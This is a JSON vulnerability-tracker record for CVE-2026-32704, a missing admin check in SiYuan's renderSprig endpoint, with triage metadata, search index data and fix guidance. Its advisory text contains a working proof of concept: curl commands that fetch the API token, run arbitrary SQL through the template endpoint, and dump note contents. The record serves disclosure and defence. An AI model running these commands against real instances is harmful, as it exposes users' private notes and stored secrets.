{"id":"CVE-2026-32704","kind":"vulnerability","aliases":["CVE-2026-32704","GHSA-4j3x-hhg2-fm2x"],"related":[],"title":"SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB","description":"### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n//  Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n    model.CheckAuth, renderSprig)\n\n//  Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check\n    return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15  # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n  -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.","summary":"SiYuan's renderSprig API endpoint is missing its admin role check, so any authenticated user, including read-only Publish Service accounts, can run raw SELECT queries. An attacker can dump all note content, metadata, tags and custom attributes from the workspace database.","severity":"medium","cvss":6.5,"epss":0.00261,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/siyuan-note/siyuan/kernel","fixed":["3.6.1"],"affected":"<= 3.6.0","ecosystem":"go"},{"name":"b3log siyuan","fixed":["3.6.1"],"affected":"< 3.6.1","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["api-token","cwe-285","cwe-732","go","package","self-hosted","siyuan"],"not_affected_if":["no-untrusted-accounts","single-user-instance","version-3.6.1-or-later"],"how_to_check":"- Check the SiYuan kernel version with `siyuan --version` or the app's About page; affected versions are `3.6.0` and below.\n- Look in kernel/api/router.go for a `POST /api/template/renderSprig` route that lacks `model.CheckAdminRole`.\n- Review which accounts have Publish Service Reader or API token access on the instance.","fix":"- SiYuan kernel (go:github.com/siyuan-note/siyuan/kernel): move to `3.6.1` or later.","status":"open","published_at":"2026-03-13T20:56:47+00:00","first_seen_at":"2026-11-05T21:24:09+00:00","triaged_at":"2026-11-05T21:24:44+00:00","updated_at":"2026-11-05T21:40:46+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-05T21:24:44Z","model":"claude-haiku-5-5","output":{"fix":"- SiYuan kernel (go:github.com/siyuan-note/siyuan/kernel): move to `3.6.1` or later.","reach":"network","title":"SiYuan: any logged-in user can run SQL and read the whole workspace","impact":"high","summary":"SiYuan's renderSprig API endpoint is missing its admin role check, so any authenticated user, including read-only Publish Service accounts, can run raw SELECT queries. An attacker can dump all note content, metadata, tags and custom attributes from the workspace database.","audience":"developers","category":"package","nicknames":[],"who_cares":["siyuan","self-hosted","go","api-token"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"any logged-in user reads all notes and secrets from the database","analyst_note":"","how_to_check":"- Check the SiYuan kernel version with `siyuan --version` or the app's About page; affected versions are `3.6.0` and below.\n- Look in kernel/api/router.go for a `POST /api/template/renderSprig` route that lacks `model.CheckAdminRole`.\n- Review which accounts have Publish Service Reader or API token access on the instance.","plain_action":"","needs_analyst":false,"not_affected_if":["single-user-instance","version-3.6.1-or-later","no-untrusted-accounts"],"who_is_affected":"Teams running a self-hosted SiYuan kernel at version 3.6.0 or earlier where some users hold regular or read-only accounts or API tokens; anyone who can authenticate can read the full note database. Single-user installs with only the owner holding credentials are much less exposed. Instances that are fully patched, or where access is limited to the owner, can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.000874,"input_tokens":5567,"output_tokens":634,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':19A,27A '-285':38B '-32704':20A,28A '-732':40B '/api/template/render':153C '/api/template/rendersprig':92C,140C '/siyuan-note/siyuan/kernel':31A '/siyuan/workspace':221C,224C '/tmp/siy.cookie':251C,265C '/workspace':220C '0':324C,328C '1':230C '100':359C '1024':181C '15':253C '2':285C '4j3x':23A '6806':216C,217C '6806/api/system/getconf':263C '6806/api/system/loginauth':241C '6806/api/template/rendersprig':298C,338C 'access':426C 'accessauthcod':225C 'account':68B,197C,422C 'admin':7A,55B,291C 'allow':10A,95C 'api':35B,50B,234C,282C,368C,398C 'api-token':34B 'application/json':246C,270C,307C,347C 'arbitrari':101C,204C 'attack':75B 'attribut':85B,117C,388C 'authcod':248C 'authent':60B,97C,190C,366C 'author':300C,340C 'b':264C 'b3log':32A 'b3log/siyuan':222C 'bash':209C,228C,332C 'block':316C,357C,389C 'boot':256C 'c':250C,273C 'call':159C,199C 'check':8A,57B,187C 'checkadminrol':137C 'checkauth':134C 'code':323C 'codebas':126C 'conf':281C 'confirm':318C 'content':80B,113C,244C,268C,305C,345C,355C,378C 'content-typ':243C,267C,304C,344C 'correct':143C 'count':312C 'curl':236C,258C,293C,333C 'custom':84B,116C,387C 'cve':18A,26A 'cwe':37B,39B 'd':212C,247C,271C,308C,348C 'data':149C,280C,326C,402C 'databas':89B,108C 'db':17A 'deploy':417C 'detail':118C 'docker':210C 'document':380C 'dump':77B,331C,375C 'end':363C 'endpoint':51B,123C,150C,201C 'enterpris':416C 'enumer':403C 'environ':208C 'especi':411C 'everi':121C 'execut':100C,182C,203C,286C 'exfiltr':110C,385C 'exploit':227C 'file':119C 'fm2x':25A 'full':15A,329C 'func':171C 'function':165C 'ghsa':22A 'ghsa-4j3x-hhg2-fm2x':21A 'ginserver.handle':138C,151C 'github.com':30A 'github.com/siyuan-note/siyuan/kernel':29A 'go':41B,135C,168C 'h':242C,266C,299C,303C,339C,343C 'hhg2':24A 'hierarchi':381C 'holder':370C 'host':45B 'hpath':354C 'id':390C 'impact':364C 'import':274C 'includ':62B,192C 'interfac':177C 'json':276C,322C 'json.load':278C 'kernel/api/router.go':120C 'kernel/model/template.go':161C 'kernel/sql/database.go':167C 'key':399C 'lack':93C 'limit':358C 'localhost':240C,262C,297C,337C 'login':231C 'lower':420C 'lower-privileg':419C 'map':175C 'metadata':81B,114C 'miss':6A,53B,136C 'model.checkadminrole':94C,129C,155C 'model.checkauth':128C,141C,154C 'model.checkreadonly':156C 'model.rendergotemplate':160C 'msg':325C 'n':314C,327C,362C 'name':213C 'non':290C 'non-admin':289C 'note':79B,112C,330C,377C,394C,430C 'notebook':405C 'p':215C 'packag':42B 'password':397C 'pattern':144C 'person':401C 'poc':207C 'post':91C,139C,152C,239C,261C,296C,336C 'print':277C 'privileg':421C 'publish':66B,193C,371C 'pwd':219C 'python3':272C 'queri':73B,103C,179C,206C 'querysql':170C,310C,352C 'r':351C 'r.content':361C 'r.hpath':360C 'rang':350C 'raw':71B,183C 'read':14A,64B 'read-on':63B 'reader':195C,373C 'regist':163C 'rendersprig':3A,49B,131C,142C,158C 'rendertempl':157C 'respons':319C 'ret':174C,178C 'retriev':233C 'return':188C 'role':56B,186C,196C 'run':70B,211C 'search':393C 'select':72B,184C,205C,311C,353C 'self':44B 'self-host':43B 'sensit':122C 'servic':67B,194C,372C 'sever':412C 'share':414C 'siyuan':1A,33A,46B,47B,106C,214C 'sleep':252C 'sql':102C,164C,287C 'step':229C,284C 'stmt':172C,180C 'store':396C 'string':173C,176C 'structur':408C 'summari':90C 'sys':275C 'sys.stdin':279C 'tag':82B,386C 'templat':309C,349C 'templatefuncmap':169C 'test123':226C,249C 'timestamp':392C 'tojson':317C 'token':36B,235C,257C,283C,301C,302C,341C,342C,369C 'type':245C,269C,306C,346C 'use':127C,145C 'user':12A,61B,98C,191C,292C,367C,429C 'v':218C 'v3.6.0':321C 'wait':254C 'workspac':16A,88B,107C,223C,384C 'x':238C,260C,295C,335C","nicknames":[],"mitigations":[],"who_affected":"Teams running a self-hosted SiYuan kernel at version 3.6.0 or earlier where some users hold regular or read-only accounts or API tokens; anyone who can authenticate can read the full note database. Single-user installs with only the owner holding credentials are much less exposed. Instances that are fully patched, or where access is limited to the owner, can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["b3logsiyuan","githubcomsiyuannotesiyuankernel","siyuan"],"ptokens":["b3log","com","github","kernel","note","siyuan"],"labels":["apitoken","cwe285","cwe732","go","medium","package","selfhosted","siyuan","vendor"],"campaign_type":null,"search_a":"'-2026':19A,27A '-32704':20A,28A '/siyuan-note/siyuan/kernel':31A '4j3x':23A 'admin':7A 'allow':10A 'b3log':32A 'check':8A 'cve':18A,26A 'db':17A 'fm2x':25A 'full':15A 'ghsa':22A 'ghsa-4j3x-hhg2-fm2x':21A 'github.com':30A 'github.com/siyuan-note/siyuan/kernel':29A 'hhg2':24A 'miss':6A 'read':14A 'rendersprig':3A 'siyuan':1A,33A 'user':12A 'workspac':16A","search_b":"'-285':38B '-732':40B 'account':68B 'admin':55B 'api':35B,50B 'api-token':34B 'attack':75B 'attribut':85B 'authent':60B 'check':57B 'content':80B 'custom':84B 'cwe':37B,39B 'databas':89B 'dump':77B 'endpoint':51B 'go':41B 'host':45B 'includ':62B 'metadata':81B 'miss':53B 'note':79B 'packag':42B 'publish':66B 'queri':73B 'raw':71B 'read':64B 'read-on':63B 'rendersprig':49B 'role':56B 'run':70B 'select':72B 'self':44B 'self-host':43B 'servic':67B 'siyuan':46B,47B 'tag':82B 'token':36B 'user':61B 'workspac':88B","search_c":"'/api/template/render':153C '/api/template/rendersprig':92C,140C '/siyuan/workspace':221C,224C '/tmp/siy.cookie':251C,265C '/workspace':220C '0':324C,328C '1':230C '100':359C '1024':181C '15':253C '2':285C '6806':216C,217C '6806/api/system/getconf':263C '6806/api/system/loginauth':241C '6806/api/template/rendersprig':298C,338C 'access':426C 'accessauthcod':225C 'account':197C,422C 'admin':291C 'allow':95C 'api':234C,282C,368C,398C 'application/json':246C,270C,307C,347C 'arbitrari':101C,204C 'attribut':117C,388C 'authcod':248C 'authent':97C,190C,366C 'author':300C,340C 'b':264C 'b3log/siyuan':222C 'bash':209C,228C,332C 'block':316C,357C,389C 'boot':256C 'c':250C,273C 'call':159C,199C 'check':187C 'checkadminrol':137C 'checkauth':134C 'code':323C 'codebas':126C 'conf':281C 'confirm':318C 'content':113C,244C,268C,305C,345C,355C,378C 'content-typ':243C,267C,304C,344C 'correct':143C 'count':312C 'curl':236C,258C,293C,333C 'custom':116C,387C 'd':212C,247C,271C,308C,348C 'data':149C,280C,326C,402C 'databas':108C 'deploy':417C 'detail':118C 'docker':210C 'document':380C 'dump':331C,375C 'end':363C 'endpoint':123C,150C,201C 'enterpris':416C 'enumer':403C 'environ':208C 'especi':411C 'everi':121C 'execut':100C,182C,203C,286C 'exfiltr':110C,385C 'exploit':227C 'file':119C 'full':329C 'func':171C 'function':165C 'ginserver.handle':138C,151C 'go':135C,168C 'h':242C,266C,299C,303C,339C,343C 'hierarchi':381C 'holder':370C 'hpath':354C 'id':390C 'impact':364C 'import':274C 'includ':192C 'interfac':177C 'json':276C,322C 'json.load':278C 'kernel/api/router.go':120C 'kernel/model/template.go':161C 'kernel/sql/database.go':167C 'key':399C 'lack':93C 'limit':358C 'localhost':240C,262C,297C,337C 'login':231C 'lower':420C 'lower-privileg':419C 'map':175C 'metadata':114C 'miss':136C 'model.checkadminrole':94C,129C,155C 'model.checkauth':128C,141C,154C 'model.checkreadonly':156C 'model.rendergotemplate':160C 'msg':325C 'n':314C,327C,362C 'name':213C 'non':290C 'non-admin':289C 'note':112C,330C,377C,394C,430C 'notebook':405C 'p':215C 'password':397C 'pattern':144C 'person':401C 'poc':207C 'post':91C,139C,152C,239C,261C,296C,336C 'print':277C 'privileg':421C 'publish':193C,371C 'pwd':219C 'python3':272C 'queri':103C,179C,206C 'querysql':170C,310C,352C 'r':351C 'r.content':361C 'r.hpath':360C 'rang':350C 'raw':183C 'reader':195C,373C 'regist':163C 'rendersprig':131C,142C,158C 'rendertempl':157C 'respons':319C 'ret':174C,178C 'retriev':233C 'return':188C 'role':186C,196C 'run':211C 'search':393C 'select':184C,205C,311C,353C 'sensit':122C 'servic':194C,372C 'sever':412C 'share':414C 'siyuan':106C,214C 'sleep':252C 'sql':102C,164C,287C 'step':229C,284C 'stmt':172C,180C 'store':396C 'string':173C,176C 'structur':408C 'summari':90C 'sys':275C 'sys.stdin':279C 'tag':386C 'templat':309C,349C 'templatefuncmap':169C 'test123':226C,249C 'timestamp':392C 'tojson':317C 'token':235C,257C,283C,301C,302C,341C,342C,369C 'type':245C,269C,306C,346C 'use':127C,145C 'user':98C,191C,292C,367C,429C 'v':218C 'v3.6.0':321C 'wait':254C 'workspac':107C,223C,384C 'x':238C,260C,295C,335C","first_public_at":"2026-03-13T13:31:26+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-4j3x-hhg2-fm2x","url":"https://github.com/advisories/GHSA-4j3x-hhg2-fm2x","severity":"medium","published_at":"2026-03-13T20:56:47+00:00","modified_at":"2026-11-05T21:22:58+00:00","first_seen_at":"2026-11-05T21:24:09+00:00","fetched_at":"2026-11-05T21:34:22+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-32704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32704","severity":null,"published_at":"2026-03-16T14:19:41+00:00","modified_at":"2026-06-17T10:36:14+00:00","first_seen_at":"2026-11-05T21:40:46+00:00","fetched_at":"2026-11-05T21:40:46+00:00","note":null}],"documents":[{"id":80286,"url":"https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-4j3x-hhg2-fm2x","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80287,"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-13T13:31:26+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":80288,"url":"https://github.com/siyuan-note/siyuan/commit/5859cc222f2016874f778dd8f4ebafaab1cf7e0","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00261,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32704"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}